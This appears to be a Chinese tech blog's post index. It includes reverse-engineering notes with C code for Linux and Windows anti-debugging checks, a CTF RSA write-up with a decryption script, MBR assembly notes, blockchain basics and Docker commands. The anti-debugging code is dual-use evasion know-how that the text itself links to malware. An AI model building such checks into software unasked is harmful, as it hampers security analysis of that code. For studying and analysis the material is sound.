fgets(buf2, 0x100, fp); fclose(fp); if(!strcmp(buf2, "gdb") || !strcmp(buf2, "strace")||!strcmp(buf2, "ltrace")) { printf("Debugger detected"); return 1; } printf("All good"); return 0;}\n\n\n检测进程运行状态Linux在/proc/self/status中保存了进程的状态信息。通过检查TracerPid字段,可以判断当前进程是否被调试器控制。如果TracerPid不为0,则说明该进程正在被调试。\n#include <stdio.h>#include <string.h>int is_debugged() {\t//打开一个文件,该文件包含当前进程的状态信息 FILE *status = fopen("/proc/self/status", "r"); //如果文件打开失败,则未检测到调试器 if (status == NULL) return 0;\t//读取文件内容 char line[256]; while (fgets(line, sizeof(line), status)) {\t //查找TracerPid行 if (strncmp(line, "TracerPid:", 10) == 0) { fclose(status); //检查TracerPid的值 //获取TracerPid后面的数字部分,并检查它是否大于0. //如果大于0则表示有进程在跟踪当前进程 return atoi(line + 10) > 0; } } fclose(status); return 0;}int main() { if (is_debugged()) { printf("Debugger\\n"); } else { printf("No debugger\\n"); } return 0;}\n\n利用环境变量只能检测到gdb\n在Linux中,bash有一个环境变量叫$_,它保存的是上一个执行的命令的最后一个参数。如果在被跟踪调试的状态下,这个变量的值会发送变化。\n#include <stdio.h>#include <stdlib.h>#include <string.h>// 检测是否被调试void is_debugging(char *program_path) { // 获取环境变量 "_" const char *env_path = getenv("_"); printf("Environment Path: %s\\n", env_path); printf("Program Path: %s\\n", program_path); // 如果环境变量与程序路径不一致,判断为被调试 if (strcmp(program_path, env_path) != 0) { printf("No debugging detected.\\n"); } else { printf("Debugging detected!\\n"); exit(0); }}int main(int argc, char *argv[]) { if (argc < 1) { fprintf(stderr, "Error: Invalid arguments\\n"); exit(0); } // 检测是否被调试 is_debugging(argv[0]); return 0;}\n\n信号处理只能检测到gdb\n#include <stdio.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/ptrace.h>// 信号处理函数void handle_signal(int sig) { if (sig == SIGTRAP) { printf("Debugger detected via SIGTRAP!\\n"); exit(1); // 退出程序 } else { printf("Received signal: %d\\n", sig); }}int main() { // 设置信号处理函数 signal(SIGTRAP, handle_signal); // 使用 ptrace 检测调试器 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { printf("Debugger detected via ptrace!\\n"); exit(1); } // 触发 SIGTRAP 信号 raise(SIGTRAP); printf("No debugger detected\\n"); return 0;}\n\n使用fork和exec仅适用于gdb\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/wait.h>#include <sys/ptrace.h>void anti_debug() { pid_t pid = fork(); if (pid == -1) { // fork失败 perror("fork failed"); exit(1); } if (pid == 0) { // 子进程尝试调用ptrace,检查是否被调试 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { // 调试器检测 printf("Debugger detected!\\n"); exit(1); } // 使用exec执行目标程序 execl("/bin/ls", "ls", NULL); // 目标程序可以替换成实际应用程序 } else { // 父进程等待子进程 int status; waitpid(pid, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 1) { // 子进程检测到调试器 printf("Debugging detected by child process!\\n"); exit(1); } else { // 子进程没有检测到调试器 printf("No debugger detected.\\n"); } }}int main() { anti_debug(); return 0;}\n\n检测堆的相对位置仅适用于gdb\n#define _DEFAULT_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define RESULT_YES 1#define RESULT_NO 0static int detect(void){ // 使用静态变量来探测堆的位置 static unsigned char bss; unsigned char *probe = malloc(0x10); // 在堆上分配内存 // 检查堆的位置相对于 BSS 段 if (probe - &bss < 0x20000) { // 堆相对于 BSS 段的位置过近,可能被调试器干扰 free(probe); // 释放分配的内存 return RESULT_YES; } else { free(probe); // 释放分配的内存 return RESULT_NO; }}static int cleanup(void){ // 不需要进行任何清理 return 0;}int main(void) { // 调测检测 if (detect() == RESULT_YES) { printf("Debugger detected: Heap is too close to BSS.\\n"); exit(EXIT_FAILURE); } printf("No debugger detected.\\n"); return 0;}\n\n\n\n检测ASLR是否启用仅适用于gdb\n\n\n检测vdso仅适用于gdb\n#define _DEFAULT_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/auxv.h>#include <string.h>#include <unistd.h>#define RESULT_YES 1#define RESULT_NO 0#define RESULT_UNK -1static int is_aslr_enabled(void) { // 检查 ASLR 是否启用 return (getauxval(AT_RANDOM) != 0) ? RESULT_YES : RESULT_NO;}static int check_vdso(void) { unsigned long tos; unsigned long vdso = getauxval(AT_SYSINFO_EHDR); // 检查 VDSO if (!vdso) { return RESULT_UNK; // VDSO 不可用 } if (is_aslr_enabled() == RESULT_NO) { return RESULT_UNK; // ASLR 不可用 } // 检查堆栈顶地址是否高于 VDSO if ((unsigned long)&tos > vdso) { return RESULT_YES; // VDSO 被篡改或调试 } return RESULT_NO; // 正常状态}int main(void) { if (check_vdso() == RESULT_YES) { printf("Debugger detected: VDSO is compromised or debugging is present.\\n"); exit(EXIT_FAILURE); } printf("No debugger detected.\\n"); return 0;}\n\n后言\n参考链接:kirschju/debugmenot: Collection of simple anti-debugging tricks for Linux (github.com)参考链接:\n\n","categories":["reverse"],"tags":["反调试"]},{"title":"RSA加密算法分析","url":"/2024/11/03/rev/rsa/","content":"简介RSA加密算法属于公钥加密算法或非对称加密算法,是目前使用最广泛的公钥密码算法之一,以其高安全性而著称。\n算法原理RSA加密算法原理包括密钥生成、加密和解密三个主要步骤。\n密钥生成\n选择两个大质数:$p$ 和 $q$。\n计算模数:$n=p×q$。$n$用于加密和解密\n计算欧拉函数:计算$ϕ(n)=(p−1)×(q−1)\\phi(n) = (p-1) \\times (q-1)ϕ(n)=(p−1)×(q−1)$。\n选择公钥指数:选择一个整数e,使得$1<e<ϕ(n)1 < e < \\phi(n)1<e<ϕ(n)$ 且与$ϕ(n)\\phi(n)ϕ(n)$互质,通常选择 $e=65537$。\n计算私钥指数:计算$d$,使得 $d×emodϕ(n)=1$,可以通过扩展欧几里得算法计算出 $d$。\n\n最终结果,公钥为$(n,e)$,私钥为$(n,d)$。\n加密给定明文 $m$(确保 $m<n$),加密过程如下:$$c=m^e mod*n$$\n其中 $c$ 为密文。\n解密给定密文C,解密过程如下:\n$$m=c^d mod n$$\n例题\nBUUCTF rsa\n\n下载附件,拿到两个文件:flag.enc、pub.key。\n看名称就知道flag.enc应该是加密的flag,pub.key应该是密钥。\n拿到公钥我们通过在线工具(密钥解析)解析分解公钥拿到以下信息。\n公钥指数及模数信息:\n\n\n\n\n\n\n\n\nkey长度:\n256\n\n\n模数:\nC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD\n\n\n指数:\n65537 (0x10001)\n\n\n即e=65537,n(将模数转换为十进制)\n通过工具yafu分解模数来得到p和q。\nimport gmpy2import rsa#公钥指数e=65537#RSA模数,是两个指数p和q的乘积n=86934482296048119190666062003494800588905656017203025617216654058378322103517#p和q是RSA的两个质数因子p=285960468890451637935629440372639283459q=304008741604601924494328155975272418463#计算phin,phin是n的欧拉函数值phin=(q-1)*(p-1)#计算私钥指数dd=gmpy2.invert(e,phin)#使用计算出的值创建RSA私钥对象key=rsa.PrivateKey(n,e,int(d),p,q)with open("./flag.enc","rb+") as f: f=f.read()flag=rsa.decrypt(f,key)print(flag)\n","categories":["reverse"],"tags":["加密算法"]},{"title":"逆向中常用的Python库","url":"/2024/10/24/rev/re-lib/","content":"","categories":["reverse"]},{"title":"SMC","url":"/2024/10/24/rev/smc/","content":"","categories":["reverse"],"tags":["混淆"]},{"title":"RC4加密算法逆向分析","url":"/2024/10/24/rev/rc4/","content":"","categories":["reverse"],"tags":["加密算法"]},{"title":"upx脱壳","url":"/2024/10/24/rev/upx/","content":"","categories":["reverse"]},{"title":"z3","url":"/2024/10/24/rev/z3/","content":"","categories":["reverse"]},{"title":"TEA系加密算法分析","url":"/2024/10/25/rev/tea/","content":"TEAXTEAXXTEA","categories":["reverse"],"tags":["加密算法"]},{"title":"《操作系统真象还原》chapter2 MBR主引导记录","url":"/2024/10/24/system/system-2/","content":"计算机的启动过程\n为什么程序要载入内存?\n\nCPU 的硬件电路被设计成只能运行于内存中的程序,这是硬件基因的问题,这样做的原因,首先肯定是内存比较快,且容量大。\n其次操作系统可以存储在软盘上,也可以存储在硬盘上,甚至U盘,当然还有很多存储介质都可以。但由于各个硬件特性不同,操作系统要分别考虑每种硬件的特性才行。所以,都在内存中运行程序,操作系统和硬件设计都省事了,这可能也是为了方式的统一吧,\n\n什么是载入内存?\n\n所谓的载入内存,大概上分两部分。\n1.程序被加载器(软件或硬件)加载到内存某个区域。2.CPU 的 cs:ip 寄存器被指向这个程序的起始地址。\n操作系统在加载程序时,是需要某个加载器来将用户存储到内存中的。其实 “加载器” 这只是人为起的名字,突显了其功能,并不是多么神秘的东西,本质上它就是一堆函数组成的模块,不要因为未知的东西而感到畏惧。\n从按下主机上的 power 键后,第一个运行的软件是 BIOS,于是产生了三个问题。\n1.它是由谁加载的。2.它被加载到哪里。3.它的cs:ip是谁来更改的。\n我们在启动电脑的时候运行的第一个软件是BIOS,但是它是由谁来启动的呢?\n软件接力第一棒,BIOSBIOS 全称叫(Base Input & Output System),即基本输入输出系统。\n实模式下的 1MB 内存布局BIOS使用的是实模式的内存布局。\n\n先从低地址看,地址 0~0x9FFFF处是 DRAM,即动态随机访问内存,我们所装的物理内存就是DRAM,如DDR、DDR2等。\n内存地址 0~0x9FFFF 的空间范围是 640KB,这片地址对应到了DRAM,也就是插在主板上的内存条。\n顶部的 0xF0000~0xFFFFF,这64KB的内存是ROM。这里存的就是 BIOS 代码。BIOS 的主要工作是检测、初始化硬件。通过调用硬件提供的初始化功能调用来进行初始化。\nBIOS 还建立了中断向量表,这样就可以通过 “int 中断号” 来实现相关的硬件调用,BIOS 建立的这些功能就是对硬件的 IO 操作,也就是输入输出,但由于就 64KB 大小的空间,不可能把所有硬件的 IO 操作实现地面面俱到,但 BIOS 也只是在实模式下的基本系统,它只需要胜任它在实模式下的基本使命就够了。剩下的交给保护模式。\n内存通过地址总线进行访问,地址总线的宽度决定了可以访问的内存空间大小。但是不止主板撒谎给你的DRAM需要通过地址总线访问,其它例如显存、ROM等也需要通过地址总线访问。\n所以物理内存多大都没用,主要是看地址总线的宽度。还要看地址总线的设计,是不是全部用于访问DRAM。\nBIOS是如何苏醒的BIOS是计算机上第一个运行的软件,它又是被谁加载的呢?因为它是第一个运行的软件所以不可能加载它自己,由此可以知道它是由硬件加载的。而这个硬件就是只读存储器 ROM。\nROM 是一块内存,内存就需要被访问。此 ROM 被映射在低端 1MB 内存的顶部,即地址 0xF0000~0xFFFFF 处。只要访问此处的地址便是访问了 BIOS,这个映射是由硬件完成的。\nBIOS本身是个程序,程序要执行,就要有个入口地址才行,此入口地址便是 0xFFFF0。\n但是 CPU 如何去执行它呢?确切的说就是 CPU 的cs:ip值是如何组成0xFFFF0的。\nBIOS 作为第一个被运行的程序,自然不会是有其它软件启动的它,所以还是由硬件执行完成的。\n在开机的一瞬间,也就是接电的时候,CPU 的 cs:ip寄存器被强制初始化为 0xF000:0xFFF0即地址0xFFFF0。\n但是这个地址访问的地方距离内存空间边缘只剩16字节,这样的空间肯定不够 BIOS 完成它的使命,所以 BIOS 真正的代码不在这,此处的代码只能是个跳转指令。\n所以地址0xFFFF0的指令就是一条跳转指令,而这条跳转指令就是jmp far f000,e05b。即跳转到地址0xfe05b处,这是 BIOS 代码真正开始的地方。\n接下来 BIOS 便开始检测内存、显卡等外设信息,当检测通过,并初始化好硬件后,开始在内存中0x000~0x3FF处建立数据结构,中断向量表 IVT 并填写中断例程。\n为什么是0x7c00计算机执行到这里 BIOS 也即将完成自己的使命。\nBIOS 最后一项工作校验启动盘中位于 0 盘 0 道 1 扇区的内容,即磁盘上最开始那个扇区。\n如果扇区的末尾的两个字节分别是魔数0x55和0xaa,BIOS 便认为此扇区中确实存在可执行的程序,便加载到物理地址0x7c00,随后跳转到此地址,继续执行。\n这里有一个小细节,BIOS 跳转到0x7c00是用jmp 0:0x7c00实现的,这是jmp指令的直接绝对远转移用法,段寄存器cs会被替换,这里的段基址是 0,即cs由之前的0xf000变成了 0。\n至于为什么跳转地址是0x7c00,是因为历史遗留问题导致的。\n而这个地址就是MBR(主引导记录)\nMBR就是负责加载启动操作系统的,但是以MBR的程序大小根本无法启动整个操作系统,所以它通过加载一个加载器间接启动操作系统。\n让 MBR 先飞一会编写可以在裸机上运行的MBR程序。\nMBR的大小必须是512字节,这是为了保证0x55和0xaa这两个魔数恰好出现在该扇区的最后两个字节处,即215字节处和第511字节处,这是按起始偏移为 0 算起的。\n$ 和 $ $,section$和$$是编译器 NASM 预留的关键字,用来表示当前行和本section的地址,起到了标号的作用,跟伪指令差不多就是给编译器识别的。\n标号\ncode_start:\tmov ax,0\n\n标号被nasm认为是一个地址,code_start只是个标记,交给nasm编译器识别,跟伪指令也差不多。\n$属于 “隐式地” 藏在本行代码前的标号,也就是编译器给当前行安排的地址。\ncode_start\tjmp $\n\n上面这行代码跟jmp code_start是等效的。\n$$指代本section的起始地址,此地址同样是编译器给安排的。\n$和$$,默认情况下,它们的值是相对于本文件开头的偏移量。至于实际安排的是多少,还要看是否在section中添加了vstart。这个关键字可以影响编译器安排地址的行为,如果该section用了vstart=xxxx修饰,$$的值则是此secton的虚拟起始地址xxxx。$的值是以xxxx为起始地址的顺延。如果用了vstart关键字,通过section.节名.start获得section在文件中的真实偏移量(真实地址),\n如果没有定义section,nasm默认全部代码同为一个section,起始地址为0。\nsection也是一个伪指令,从名字上就可以知道它的含义是节、段。section是用于给开发者规划代码用的。可以提高程序的可维护性。\nNASM简单用法nasm -f <format><filename> [-o <output>]\n\n以上是nasm的基本用法。\n-f用来指定输出文件的格式。\n\n代码分析实现功能用汇编语言编写输出Hello World!的程序。程序共512字节,最后两个字节是0x55和0xaa,中间不足的补0。\n代码逻辑\n清屏\n获取光标位置\n在光标位置处打印Hello World!\n\n代码通过使用0x10中断(BIOS中断),调用的方法是把功能号送入ah寄存器,其它参数按照BIOS中断手册的要求放在适当的寄存器中,然后执行int 0x10即可。\n代码实现 ;主引导程序 ;------------------------------------------------------------SECTION MBR vstart=0x7c00 mov ax,cs ;此时cs寄存器为0,自然可以用来将ax寄存器置0 mov ds,ax mov es,ax mov ss,ax mov fs,ax mov sp,0x7c00 ; 清屏 利用0x06号功能,上卷全部行,则可清屏。 ; ----------------------------------------------------------- ;INT 0x10 功能号:0x06\t 功能描述:上卷窗口 ;------------------------------------------------------ ;输入: ;AH 功能号= 0x06 ;AL = 上卷的行数(如果为0,表示全部) ;BH = 上卷行属性 ;(CL,CH) = 窗口左上角的(X,Y)位置 ;(DL,DH) = 窗口右下角的(X,Y)位置 ;无返回值: mov ax, 0x600 ;ah中输入功能号 mov bx, 0x700 ;设置上卷行属性,0x07表示用黑底白字的属性填充空白行 mov cx, 0 ;左上角: (0, 0) mov dx, 0x184f\t ;右下角: (80,25)\t\t\t ;VGA文本模式中,一行只能容纳80个字符,共25行。\t\t\t ;下标从0开始,所以0x18=24,0x4f=79 int 0x10 ;int 0x10 ;;;;;;;;; 下面这三行代码是获取光标位置 ;;;;;;;;; mov ah, 3\t\t ;输入: 3号子功能是获取光标位置,需要存入ah寄存器 mov bh, 0\t\t ;bh寄存器存储的是待获取光标的页号 int 0x10\t\t ;输出: ch=光标开始行,cl=光标结束行\t\t \t ;dh=光标所在行号,dl=光标所在列号 ;;;;;;;;; 获取光标位置结束 ;;;;;;;;;;;;;;;; ;;;;;;;;; 打印字符串 ;;;;;;;;;;; ;还是用10h中断,不过这次是调用13号子功能打印字符串 mov ax, message mov bp, ax\t\t ; es:bp 为串首地址, es此时同cs一致,\t\t\t ; 开头时已经为sreg初始化 ; 光标位置要用到dx寄存器中内容,cx中的光标位置可忽略 mov cx, 0xc\t\t ; cx 为串长度,不包括结束符0的字符个数 mov ax, 0x1301\t ; 子功能号13是显示字符及属性,要存入ah寄存器,\t\t\t ; al设置写字符方式 ah=01: 显示字符串,光标跟随移动 mov bx, 0x2\t\t ; bh存储要显示的页号,此处是第0页,\t\t\t ; bl中是字符属性, 属性黑底绿字(bl = 02h,07是黑底白字) int 0x10\t\t ; 执行BIOS 0x10 号中断 ;;;;;;;;; 打字字符串结束\t ;;;;;;;;;;;;;;; jmp $\t\t ; 使程序悬停在此 message db "Hello World!" times 510-($-$$) db 0 db 0x55,0xaa\n\n将代码保存为mbr.s文件\n之后将代码文件通过nasm编译,然后用dd命令写入bochs的虚拟硬盘。\nnasm mbr.s -o test\n\n写入命令\ndd if=/root/test of=/root/bochs/hd60M.img bs=512 count=1 conv=notrunc\n\nif指定要读取的文件,of指定把数据输出到哪个文件。\nbs是要读写的块大小,这里是要读写一个512字节的块;count是指定拷贝的块数,这里是1;conv是指定如何转换文件,这里就不转换。\n运行查看效果\nbochs -f bochsrc.disk\n输出\n1. Restore factory default configuration2. Read options from...3. Edit options4. Save options to...5. Restore the Bochs state from...6. Begin simulation7. Quit nowPlease choose one: [6]\n\n回车,然后输入c(continue)。\n即可看到输出的Hello World!\n到这里已经完成了MBR的初步编写\n后言\n参考链接:用《操作系统真象还原》写一个操作系统 第二章 编写MBR主引导记录,让我们开始掌权\n\n","categories":["操作系统原理"],"tags":["读书笔记","kernel"]},{"title":"Windows反调试","url":"/2024/10/25/rev/windows-anti-debug/","content":"反调试技术,恶意代码用它识别是否被调试,或者让调试器失效。恶意代码编写者意识到分析人员经常使用调试器来观察恶意diamond的操作,因此他们使用反调试技术尽可能地延长恶意代码的分析时间。为了阻止调试器的分析,当恶意代码意识到自己被调试时,他们可能改变正常的执行路径或者自身程序让自己崩溃,从而增加调试时间和复杂度。很多种反调试技术可以达到反调试效果。\n使用Windows API使用Windows API函数检测调试器是否存在是最简单的反调试技术。Windows操作系统中提供了这样一些API,应用程序可以通过调用这些API,来检测自己是否正在被调试。这些API中有些是专门用来检测调试器的存在的,而另外一些API是出于其他目的而设计的,但也可以被改造用来探测调试器的存在。其中很小部分API函数没有在微软官方文档显示。通常,防止恶意代码使用API进行反调试的最简单的办法是在恶意代码运行期间修改恶意代码,使其不能调用探测调试器的API函数,或者修改这些API函数的返回值,确保恶意代码执行合适的路径。与这些方法相比,较复杂的做法是挂钩这些函数,如使用rootkit技术。\nIsDebuggerPresentIsDebuggerPresent查询进程环境块(PEB)中的IsDebugged标志。如果进程没有运行在调试器环境中,函数返回0;如果调试附加了进程,函数返回一个非零值。\n函数原型\nBOOL WINAPI IsDebuggerPresent(VOID){    return NtCurrentPeb() -> BeingDebugged;}\n\n实例程序\n#include<stdio.h>#include<windows.h>BOOL CheckDebugger(){\treturn IsDebuggerPresent();}int main(int argc,char *argv[]){\tif(CheckDebugger()){\t\tprintf("进程正在被调试\\n");\t\t\t\t}\telse{\t\tprintf("进程没有被调试\\n");\t}\tsystem("pause");\treturn 0;}\n\n如何过掉通过IDA动态调试修改寄存器标志,亦或者直接patch到文件修改代码使其不能调用反调试函数,或者修改这些API函数的返回值\nCheckRemoteDebuggerPresentCheckRemoteDebuggerPresent同IsDebuggerPresent几乎一致。它不仅可以探测系统其他进程是否被调试,通过传递自身进程句柄还可以探测自身是否被调试。\nBOOL CheckRemoteDebuggerPresent{    HANDLE hProcess,    PBOOL pbDebuggerPresent};\n\nNtQueryInformationProcess这个函数是Ntdll.dll中一个API,它用来提取一个给定进程的信息。它的第一个参数是进程句柄,第二个参数告诉我们它需要提取进程信息的类型。为第二个参数指定特定值并调用该函数,相关信息就会设置到第三个参数。第二个参数是一个枚举类型,其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)。例如将该参数置为ProcessDebugPort,如果进程正在被调试,则返回调试端口,否则返回0。\nBOOL CheckDebug()  {      int debugPort = 0;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule,"NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort,sizeof(debugPort), NULL);      return debugPort != 0;  }  BOOL CheckDebug()  {      HANDLE hdebugObject = NULL;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule,"NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL);      return hdebugObject != NULL;  }  BOOL CheckDebug()  {      BOOL bdebugFlag = TRUE;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL);      return bdebugFlag != TRUE;  }\n\nOutputDebugString基于PEB的静态反调试利用PEB结构体信息可以判断当前进行是否处于被调试状态。很多常见的反调试都是用这个来判断的,比如IsDebuggerPresent()等,那么PEB是什么呢?Process Environment Block(进程环境块),是存放进程信息的一个结构体。\n+0x000 InheritedAddressSpace : UChar+0x001 ReadImageFileExecOptions : UChar+0x002 BeingDebugged : UChar 调试标志+0x003 SpareBool : UChar+0x004 Mutant : Ptr32 Void+0x008 ImageBaseAddress : Ptr32 Void 映像基址+0x00c Ldr : Ptr32 _PEB_LDR_DATA 进程加载模块链表+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS+0x014 SubSystemData : Ptr32 Void+0x018 ProcessHeap : Ptr32 Void+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION+0x020 FastPebLockRoutine : Ptr32 Void+0x024 FastPebUnlockRoutine : Ptr32 Void+0x028 EnvironmentUpdateCount : Uint4B+0x02c KernelCallbackTable : Ptr32 Void+0x030 SystemReserved : [1] Uint4B+0x034 AtlThunkSListPtr32 : Uint4B+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK+0x03c TlsExpansionCounter : Uint4B\n\n BeingDebugged成员是一个标志(flag),用来表示进行是否处于被调试状态。Ldr、ProcessHeap、NtGlobalFlag成员与被调试进程的堆内存特性相关。\nTEB(线程环境块)结构体也是必须指定的,该结构体包含进程中运行线程的各种信息,进程中的每个线程都对应着一个TEB结构体。完整的TEB结构体定义在TEB.txt中。\n+0x000 NtTib : _NT_TIB+0x01c EnvironmentPointer : Ptr32 Void+0x020 ClientId : _CLIENT_ID :当前进程ID+0x028 ActiveRpcHandle : Ptr32 Void+0x02c ThreadLocalStoragePointer : Ptr32 Void+0x030 ProcessEnvironmentBlock : Ptr32 _PEB 当前进程的PEB指针+0x034 LastErrorValue : Uint4B+0x038 CountOfOwnedCriticalSections : Uint4B\n\n\n\n\nProcess Heap\nNtGlobalFlag\n\nTLS回调\n参考链接:Windows平台常见反调试技术梳理(上)-安全客 - 安全资讯平台 (anquanke.com) 参考链接:[原创]反调试技术总结-软件逆向-看雪-安全社区|安全招聘|kanxue.com 参考链接:【CTF-Reverse】IDA动态调试,反调试技术_ida 动态调试-CSDN博客\n\n","categories":["reverse"],"tags":["反调试"]},{"title":"区块链原理","url":"/2024/10/24/sundry/blockchain/","content":"\n永乐大帝视频的学习笔记\n\n比特币比特币是一种基于密码学的数字加密货币,它允许用户通过互联网进行安全的点对点交易。2008年10月31日,中本聪在网络上发表了一篇名为《比特币:一种点对点的电子现金系统》的文章,提出了一种去中心化的电子记账系统。这一系统的核心在于,它不依赖于中央银行或政府来管理和维护交易记录。\n在比特币网络中,所有的交易记录会被打包成区块。每个区块的大小为1MB,通常可以存储大约4000条交易记录。新的区块会被连接到之前的区块上,形成一条连续的区块链。区块链不仅记录了所有的交易信息,也为比特币的安全性提供了保障。\n然而,由于网络延迟的存在,用户在同一时间可能会收到不同的账单,导致账单的不一致。因此,网络需要一种机制来决定以谁的账单为准,这就引入了工作量证明的概念。\n记账的动机在比特币网络中,记账的用户(即矿工)可以获得多种奖励,包括:\n\n交易手续费:每笔交易都会包含一小部分手续费,矿工在打包区块时会获得这些手续费。\n打包奖励:每打包一个新区块,矿工会获得一定数量的比特币奖励。在比特币的设计中,最初的打包奖励为50个比特币,每经过约四年,奖励数量会减半,最终总供应量将达到2100万个比特币。\n\n这种激励机制促使越来越多的矿工参与到比特币的网络中,确保网络的安全和交易的有效性。\n以谁为准为了确定以谁的账单为准,比特币网络采用了工作量证明(Proof of Work)机制。每个参与者需要解决一个复杂的数学问题,只有成功解决该问题后,才有权打包新区块。这个过程被称为挖矿。\n挖矿原理哈希函数比特币使用的哈希函数是 SHA-256,它能够返回一个256位的二进制数。哈希函数的特性在于,其正向计算相对简单,但从结果反推输入几乎是不可能的,这为比特币提供了安全性。\n挖矿流程\n构建字符串:每个矿工将当前的账单信息、前一个区块的头部、当前时间戳和一个随机数拼接成一个字符串。\n进行哈希计算:对这个字符串进行两次 SHA-256 计算,得到哈希值。\n满足条件:要求运算结果的前 n 位为0。矿工通过不断调整随机数(称为“nonce”)来尝试找到满足条件的哈希值。\n\n由于每个矿工的账单信息和时间戳各不相同,他们的计算难度也各不相同。因此,计算能力较强的矿工在挖矿过程中更有可能成功打包新区块。\n难度调整比特币网络会定期调整挖矿的难度,具体方法是根据过去一定时间内生成的区块数量来决定。n 的值越大,要求的前导0位数就越多,挖矿的难度随之增加。通过这种方式,网络确保平均每10分钟能够生成一个新区块。\n身份认证比特币通过电子签名实现身份认证。用户在注册时,系统生成一个随机数,并基于此生成对应的私钥、公钥和地址:\n\n私钥:应严格保密,控制用户对比特币的所有权,任何人拥有私钥便可支配该地址上的比特币。\n公钥:可公开,用于验证交易的合法性,接收方可以使用公钥来验证发送方的签名。\n地址:用户分享的公开信息,其他用户可以通过这个地址向其发送比特币。\n\n当用户 A 想给用户 B 转账时,A 会生成一条记录(例如,A 赋给 B 十个比特币),然后对其进行哈希运算。接下来,A 使用私钥对哈希值进行加密,形成交易签名。最终,A 将记录、公共钥和加密后的数据广播到比特币网络中。\n接收方 B 通过公钥解密密码,得到原始的哈希摘要。如果该摘要与 B 自己计算出的哈希值一致,则确认交易有效。\n防止双重支付比特币系统设计中,每个用户在进行交易时会下载所有区块信息,以验证账户余额。如果 A 尝试向 B 转账但其账户余额不足,网络中的其他节点会拒绝该交易请求。通过这种方式,系统能够防止双重支付问题。\n如果 A 同时向不同的接收者发送转账请求,网络通过检查交易记录来验证每笔交易的合法性,确保用户不会利用相同的比特币进行多次支付。\n防止篡改最长链原则比特币网络中的所有节点根据最长链原则来维护账本。即,当出现多个区块时,节点将选择链条最长的作为有效链。这一原则确保了即使存在分叉情况,最终所有节点会达成共识,选择一致的账本。\n防伪机制通过工作量证明和区块链的结构设计,比特币系统能够有效抵御篡改风险。任何对区块链的修改都需要重新计算后续所有区块的哈希值,这在算力消耗上几乎不可能实现,从而确保比特币交易记录的不可篡改性。\n","categories":["其它"]},{"title":"docker","url":"/2024/10/25/sundry/docker/","content":"查看镜像\ndocker image ls\ndocker images\n\n拉取镜像官方镜像\ndocker image pull 镜像名称\n简写:docker pull 镜像名称\n例如:docker pull ubuntu\n\n\n\n个人镜像\ndocker pull 仓库名称/镜像名称\n\n第三方仓库拉取\ndocker pull 第三方仓库地址/仓库名称/镜像名称\n\n删除镜像\ndocker image rm 镜像名或镜像ID 或 docker rmi 镜像名或镜像ID\n\n加载镜像\ndocker run [可选参数] 镜像名 [传入的命令]\n\n常用参数:\n-i:以交互模式运行容器。\n-d:后台运行容器,创建守护式容器。\n-t:为容器分配一个伪终端。\n--name:为容器命名(不支持中文字符)。\n-v:目录映射(宿主机目录:容器目录)。\n-p:端口映射(宿主机端口:容器端口)。\n--network=host:使用主机的网络环境。\n\n查看容器查看正在运行的容器\ndocker ps\n\n查看所有容器\ndocker ps -a\n\n常用过滤器\n通过名字:docker ps -f name=指定名字\n显示最新容器:docker ps -l\n仅显示容器ID:docker ps -q\n显示容器大小:docker ps -s\n\n启动和关闭容器停止容器\ndocker container stop 容器名或ID\n简写:docker stop 容器名或ID\n\n强制关闭容器\ndocker container kill 容器名或ID\n简写:docker kill 容器名或ID\n\n启动容器\ndocker container start 容器名或ID\n简写:docker start 容器名或ID\n\n操作后台容器执行命令\ndocker exec -it 容器名或ID 命令\n例如:docker exec -it kali /bin/bash\n\n\n\n附加到容器\ndocker attach 容器名或ID\n\n删除容器\ndocker rm 容器名或ID\n\n制作容器镜像将容器保存为镜像\ndocker commit 容器名 镜像名\n\n镜像打包备份\ndocker save -o 文件名 镜像名\n\n镜像解压\ndocker load -i 文件路径/备份文件\n\nDockerfile\nLLVM 18 的 Dockerfile\n\nFROM ubuntu:22.04# 安装依赖RUN apt update && \\ apt install -y lsb-release wget software-properties-common gnupg && \\ wget https://apt.llvm.org/llvm.sh && \\ chmod +x llvm.sh && \\ ./llvm.sh 18 all && \\ rm -f llvm.sh# 创建符号链接RUN ln -s /usr/bin/clang++-18 /usr/bin/clang++ && \\ ln -s /usr/bin/clang-18 /usr/bin/clang && \\ ln -s /usr/bin/llvm-config-18 /usr/bin/llvm-config && \\ ln -s /usr/bin/lli-18 /usr/bin/lli && \\ ln -s /usr/bin/opt-18 /usr/bin/opt# 设置工作目录WORKDIR /app# 启动 bashCMD ["/bin/bash"]\n\n\nKali的Dockerfile\n\n# 1.选择基础镜像FROM kalilinux/kali-rolling# 2.安装依赖RUN apt update && apt install -y \\ nmap \\ git \\ curl \\ vim \\ build-essential \\ python3 \\ python3-pip && \\ rm -rf /var/lib/apt/lists/*# 3.设置工作目录WORKDIR /app# 4.复制文件COPY . /app# 5.定义运行命令CMD ["/bin/bash"]\n\n构建和运行\n构建镜像\n\ndocker build -t llvm-env .\n\n\n运行容器\n\ndocker run -it 